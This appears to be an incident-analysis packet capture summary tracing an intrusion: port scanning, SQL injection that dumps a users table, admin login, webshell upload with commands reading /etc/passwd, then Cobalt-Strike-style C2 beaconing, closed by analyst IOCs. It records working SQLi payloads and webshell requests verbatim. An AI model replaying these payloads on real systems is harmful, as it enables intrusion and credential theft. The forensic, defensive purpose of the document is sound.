# Tshark Summary Output # Command: tshark -r suspicious_20260408.pcap -q -z conv,tcp -z io,stat,60 # Capture file: suspicious_20260408.pcap # Capture duration: 02:34:18 (9258 seconds) # Packets: 284,521 # First packet: 2026-04-08 02:14:22.103847 UTC # Last packet: 2026-04-08 04:48:40.891023 UTC ================================================================================ PHASE 1: SYN SCAN (02:14:22 - 02:18:45) ================================================================================ # Packets: 12,847 SYN packets from single source in 263 seconds Frame Time Source Dest Proto Info ----- ---------- --------------- --------------- ----- ---- 1 02:14:22.10 198.51.100.47 10.0.1.15 TCP 54821 > 21 [SYN] Seq=0 Win=1024 Len=0 2 02:14:22.11 198.51.100.47 10.0.1.15 TCP 54822 > 22 [SYN] Seq=0 Win=1024 Len=0 3 02:14:22.11 10.0.1.15 198.51.100.47 TCP 22 > 54822 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0 4 02:14:22.12 198.51.100.47 10.0.1.15 TCP 54823 > 23 [SYN] Seq=0 Win=1024 Len=0 5 02:14:22.12 198.51.100.47 10.0.1.15 TCP 54824 > 25 [SYN] Seq=0 Win=1024 Len=0 6 02:14:22.13 198.51.100.47 10.0.1.15 TCP 54825 > 53 [SYN] Seq=0 Win=1024 Len=0 7 02:14:22.13 198.51.100.47 10.0.1.15 TCP 54826 > 80 [SYN] Seq=0 Win=1024 Len=0 8 02:14:22.14 10.0.1.15 198.51.100.47 TCP 80 > 54826 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0 9 02:14:22.14 198.51.100.47 10.0.1.15 TCP 54827 > 110 [SYN] Seq=0 Win=1024 Len=0 10 02:14:22.15 198.51.100.47 10.0.1.15 TCP 54828 > 135 [SYN] Seq=0 Win=1024 Len=0 11 02:14:22.15 198.51.100.47 10.0.1.15 TCP 54829 > 139 [SYN] Seq=0 Win=1024 Len=0 12 02:14:22.16 198.51.100.47 10.0.1.15 TCP 54830 > 143 [SYN] Seq=0 Win=1024 Len=0 13 02:14:22.16 198.51.100.47 10.0.1.15 TCP 54831 > 443 [SYN] Seq=0 Win=1024 Len=0 14 02:14:22.17 10.0.1.15 198.51.100.47 TCP 443 > 54831 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0 15 02:14:22.17 198.51.100.47 10.0.1.15 TCP 54832 > 445 [SYN] Seq=0 Win=1024 Len=0 ... # [12,832 more SYN packets omitted - scanning ports 1-65535 across 10.0.1.15, 10.0.1.16, 10.0.1.17, 10.0.1.18] # Summary of open ports discovered: # 10.0.1.15: 22(SSH), 80(HTTP), 443(HTTPS), 3306(MySQL) # 10.0.1.16: 22(SSH), 80(HTTP), 443(HTTPS), 8080(HTTP-ALT) # 10.0.1.17: 22(SSH), 5432(PostgreSQL) # 10.0.1.18: 22(SSH), 80(HTTP), 443(HTTPS), 8443(HTTPS-ALT) # Scan characteristics: # - Window size 1024 (nmap default) # - Sequential port scanning # - No RST sent after SYN/ACK (half-open scan) # - TTL: 52 (likely 6 hops, initial TTL 64 = Linux source) ================================================================================ PHASE 2: SERVICE ENUMERATION (02:19:01 - 02:24:33) ================================================================================ # Completed TCP handshakes to discovered open ports, followed by service banner grabs Frame Time Source Dest Proto Info ----- ---------- --------------- --------------- ----- ---- 12848 02:19:01.22 198.51.100.47 10.0.1.15 TCP 49201 > 22 [SYN] Seq=0 Win=65535 Len=0 12849 02:19:01.22 10.0.1.15 198.51.100.47 TCP 22 > 49201 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0 12850 02:19:01.23 198.51.100.47 10.0.1.15 TCP 49201 > 22 [ACK] Seq=1 Ack=1 Win=65535 Len=0 12851 02:19:01.23 10.0.1.15 198.51.100.47 SSH Server: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6 12852 02:19:01.43 198.51.100.47 10.0.1.15 SSH Client: SSH-2.0-Nmap-SSH2-Hostkey 12853 02:19:01.83 198.51.100.47 10.0.1.15 TCP 49201 > 22 [RST] Seq=1 Win=0 Len=0 12854 02:19:02.01 198.51.100.47 10.0.1.15 TCP 49202 > 80 [SYN] Seq=0 Win=65535 Len=0 12855 02:19:02.01 10.0.1.15 198.51.100.47 TCP 80 > 49202 [SYN,ACK] Seq=0 Ack=1 Win=29200 Len=0 12856 02:19:02.02 198.51.100.47 10.0.1.15 TCP 49202 > 80 [ACK] Seq=1 Ack=1 Win=65535 Len=0 12857 02:19:02.02 198.51.100.47 10.0.1.15 HTTP GET / HTTP/1.1\r\nHost: 10.0.1.15\r\nUser-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine) 12858 02:19:02.03 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK (text/html) Server: Apache/2.4.52 (Ubuntu) ... # [Service enumeration continues for all open ports on all 4 hosts] ================================================================================ PHASE 3: EXPLOITATION ATTEMPTS (02:25:10 - 03:12:47) ================================================================================ # HTTP-based exploit payloads targeting 10.0.1.15:80 (Apache/Ubuntu) Frame Time Source Dest Proto Info ----- ---------- --------------- --------------- ----- ---- 14201 02:25:10.52 198.51.100.47 10.0.1.15 HTTP GET /index.php?id=1 HTTP/1.1 14202 02:25:10.53 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK (text/html) 14203 02:25:11.01 198.51.100.47 10.0.1.15 HTTP GET /index.php?id=1' HTTP/1.1 14204 02:25:11.02 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 500 Internal Server Error 14205 02:25:11.52 198.51.100.47 10.0.1.15 HTTP GET /index.php?id=1'%20OR%20'1'%3D'1 HTTP/1.1 14206 02:25:11.53 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK (text/html) [Size: 24891 vs baseline 4521] 14207 02:25:12.01 198.51.100.47 10.0.1.15 HTTP GET /index.php?id=1%20UNION%20SELECT%20NULL,NULL,NULL,NULL-- HTTP/1.1 14208 02:25:12.02 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK (text/html) 14209 02:25:12.52 198.51.100.47 10.0.1.15 HTTP GET /index.php?id=1%20UNION%20SELECT%20table_name,NULL,NULL,NULL%20FROM%20information_schema.tables-- HTTP/1.1 14210 02:25:12.53 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK (text/html) [Size: 31247] 14211 02:25:13.01 198.51.100.47 10.0.1.15 HTTP GET /index.php?id=1%20UNION%20SELECT%20username,password,NULL,NULL%20FROM%20users-- HTTP/1.1 14212 02:25:13.02 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK (text/html) [Size: 8923] 14213 02:25:14.01 198.51.100.47 10.0.1.15 HTTP GET /admin/login.php HTTP/1.1 14214 02:25:14.02 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK (text/html) 14215 02:25:14.52 198.51.100.47 10.0.1.15 HTTP POST /admin/login.php HTTP/1.1 [Content: username=admin&password=P%40ssw0rd123] 14216 02:25:14.53 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 302 Found Location: /admin/dashboard.php Set-Cookie: session=abc123def456 14217 02:25:15.01 198.51.100.47 10.0.1.15 HTTP GET /admin/dashboard.php HTTP/1.1 Cookie: session=abc123def456 14218 02:25:15.02 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK (text/html) [Size: 15234] 14219 02:25:16.01 198.51.100.47 10.0.1.15 HTTP GET /admin/upload.php HTTP/1.1 Cookie: session=abc123def456 14220 02:25:16.52 198.51.100.47 10.0.1.15 HTTP POST /admin/upload.php HTTP/1.1 Cookie: session=abc123def456 [Content-Type: multipart/form-data; file=shell.php] 14221 02:25:16.53 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK "File uploaded successfully" 14222 02:25:17.01 198.51.100.47 10.0.1.15 HTTP GET /uploads/shell.php?cmd=id HTTP/1.1 14223 02:25:17.02 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK "uid=33(www-data) gid=33(www-data) groups=33(www-data)" 14224 02:25:18.01 198.51.100.47 10.0.1.15 HTTP GET /uploads/shell.php?cmd=cat%20/etc/passwd HTTP/1.1 14225 02:25:18.02 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK [Size: 2341] 14226 02:25:19.01 198.51.100.47 10.0.1.15 HTTP GET /uploads/shell.php?cmd=uname%20-a HTTP/1.1 14227 02:25:19.02 10.0.1.15 198.51.100.47 HTTP HTTP/1.1 200 OK "Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64" ... # [47 more webshell commands omitted - attacker performed system enumeration, read config files, dumped database credentials] ================================================================================ PHASE 4: C2 BEACONING (03:15:00 - 04:48:40) ================================================================================ # Periodic HTTPS connections from compromised host to external C2 server # Pattern: exactly every 60 seconds (+/- 2 seconds jitter) # All connections to same destination: 45.77.201.19:443 Frame Time Source Dest Proto Bytes Info ----- ---------- --------------- --------------- ----- ----- ---- 18401 03:15:00.12 10.0.1.15 45.77.201.19 TCP 66 49901 > 443 [SYN] 18402 03:15:00.18 45.77.201.19 10.0.1.15 TCP 66 443 > 49901 [SYN,ACK] 18403 03:15:00.18 10.0.1.15 45.77.201.19 TCP 54 49901 > 443 [ACK] 18404 03:15:00.19 10.0.1.15 45.77.201.19 TLS 571 Client Hello (TLSv1.2, SNI: cdn-static-assets.com) 18405 03:15:00.25 45.77.201.19 10.0.1.15 TLS 1287 Server Hello, Certificate (CN=localhost, self-signed), Server Hello Done 18406 03:15:00.26 10.0.1.15 45.77.201.19 TLS 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 18407 03:15:00.32 45.77.201.19 10.0.1.15 TLS 89 Change Cipher Spec, Encrypted Handshake Message 18408 03:15:00.33 10.0.1.15 45.77.201.19 TLS 142 Application Data [encrypted, 88 bytes payload] 18409 03:15:00.39 45.77.201.19 10.0.1.15 TLS 194 Application Data [encrypted, 140 bytes payload] 18410 03:15:00.40 10.0.1.15 45.77.201.19 TCP 54 49901 > 443 [FIN,ACK] 18411 03:16:01.34 10.0.1.15 45.77.201.19 TCP 66 49902 > 443 [SYN] 18412 03:16:01.40 45.77.201.19 10.0.1.15 TCP 66 443 > 49902 [SYN,ACK] 18413 03:16:01.40 10.0.1.15 45.77.201.19 TCP 54 49902 > 443 [ACK] 18414 03:16:01.41 10.0.1.15 45.77.201.19 TLS 571 Client Hello (TLSv1.2, SNI: cdn-static-assets.com) 18415 03:16:01.47 45.77.201.19 10.0.1.15 TLS 1287 Server Hello, Certificate (CN=localhost, self-signed), Server Hello Done 18416 03:16:01.48 10.0.1.15 45.77.201.19 TLS 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 18417 03:16:01.54 45.77.201.19 10.0.1.15 TLS 89 Change Cipher Spec, Encrypted Handshake Message 18418 03:16:01.55 10.0.1.15 45.77.201.19 TLS 142 Application Data [encrypted, 91 bytes payload] 18419 03:16:01.61 45.77.201.19 10.0.1.15 TLS 194 Application Data [encrypted, 138 bytes payload] 18420 03:16:01.62 10.0.1.15 45.77.201.19 TCP 54 49902 > 443 [FIN,ACK] 18421 03:17:00.87 10.0.1.15 45.77.201.19 TCP 66 49903 > 443 [SYN] 18422 03:17:00.93 45.77.201.19 10.0.1.15 TCP 66 443 > 49903 [SYN,ACK] 18423 03:17:00.93 10.0.1.15 45.77.201.19 TCP 54 49903 > 443 [ACK] 18424 03:17:00.94 10.0.1.15 45.77.201.19 TLS 571 Client Hello (TLSv1.2, SNI: cdn-static-assets.com) 18425 03:17:01.00 45.77.201.19 10.0.1.15 TLS 1287 Server Hello, Certificate (CN=localhost, self-signed), Server Hello Done 18426 03:17:01.01 10.0.1.15 45.77.201.19 TLS 384 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message 18427 03:17:01.07 45.77.201.19 10.0.1.15 TLS 89 Change Cipher Spec, Encrypted Handshake Message 18428 03:17:01.08 10.0.1.15 45.77.201.19 TLS 142 Application Data [encrypted, 85 bytes payload] 18429 03:17:01.14 45.77.201.19 10.0.1.15 TLS 194 Application Data [encrypted, 143 bytes payload] 18430 03:17:01.15 10.0.1.15 45.77.201.19 TCP 54 49903 > 443 [FIN,ACK] # [91 more beacon cycles follow the same pattern through 04:48:40] # Beacon interval statistics: # Mean interval: 60.3 seconds # Std deviation: 1.8 seconds # Min interval: 58.1 seconds # Max interval: 62.7 seconds # TLS anomalies detected: # - Self-signed certificate (CN=localhost) on port 443 # - SNI (cdn-static-assets.com) does not match certificate CN (localhost) # - JA3 fingerprint: 72a589da586844d7f0818ce684948eea (associated with Cobalt Strike) # - JA3S fingerprint: ae4edc6faf64d08308082ad26be60767 (associated with Cobalt Strike) # - Small, consistent payload sizes suggest C2 checkin/tasking (not normal browsing) ================================================================================ TCP CONVERSATION TABLE ================================================================================ # tshark -q -z conv,tcp Frames Bytes Frames Bytes Frames Bytes Filter: -> -> <- <- Total Total 198.51.100.47 <-> 10.0.1.15 14823 1284921 12847 2841023 27670 4125944 198.51.100.47 <-> 10.0.1.16 3245 281023 2891 534218 6136 815241 198.51.100.47 <-> 10.0.1.17 1823 158234 1502 245128 3325 403362 198.51.100.47 <-> 10.0.1.18 2456 213045 2012 378234 4468 591279 10.0.1.15 <-> 45.77.201.19 4712 412834 4680 623412 9392 1036246 ================================================================================ IO STATISTICS (60-second intervals) ================================================================================ # tshark -q -z io,stat,60 Interval Frames Bytes 02:14:00-02:15 4821 418234 02:15:00-02:16 4523 392812 02:16:00-02:17 3912 339456 02:17:00-02:18 2345 203421 02:18:00-02:19 1823 158234 02:19:00-02:20 2456 312845 02:20:00-02:21 1892 245123 02:21:00-02:22 1234 178923 02:22:00-02:23 987 134521 02:23:00-02:24 845 112345 02:24:00-02:25 423 56234 02:25:00-02:26 1234 287345 02:26:00-02:27 1456 345123 02:27:00-02:28 1678 398234 02:28:00-02:29 1823 423456 ... 03:15:00-03:16 102 14523 03:16:00-03:17 98 13845 03:17:00-03:18 101 14234 03:18:00-03:19 99 13921 # [C2 beaconing maintains steady ~100 frames/min through end of capture] ================================================================================ DNS QUERIES (extracted from capture) ================================================================================ # Notable DNS queries from 10.0.1.15 after compromise: 03:12:48.23 10.0.1.15 -> 10.0.0.2 DNS Standard query A cdn-static-assets.com 03:12:48.24 10.0.0.2 -> 10.0.1.15 DNS Standard query response A 45.77.201.19 # No further DNS queries for C2 domain - IP cached/hardcoded after initial resolution ================================================================================ ANALYST NOTES ================================================================================ # Attack timeline summary: # 1. 02:14 - Port scan (SYN scan) from 198.51.100.47 against 10.0.1.0/24 # 2. 02:19 - Service enumeration on discovered open ports # 3. 02:25 - SQL injection exploitation on 10.0.1.15:80 # 4. 02:25 - Credential dump via UNION-based SQLi # 5. 02:25 - Admin login with stolen credentials # 6. 02:25 - Webshell upload and remote command execution # 7. 03:15 - C2 beaconing established to 45.77.201.19:443 # # Indicators of Compromise (IOCs): # - Attacker IP: 198.51.100.47 # - C2 IP: 45.77.201.19:443 # - C2 Domain: cdn-static-assets.com # - JA3: 72a589da586844d7f0818ce684948eea # - Webshell: /uploads/shell.php # - Compromised host: 10.0.1.15 (web01)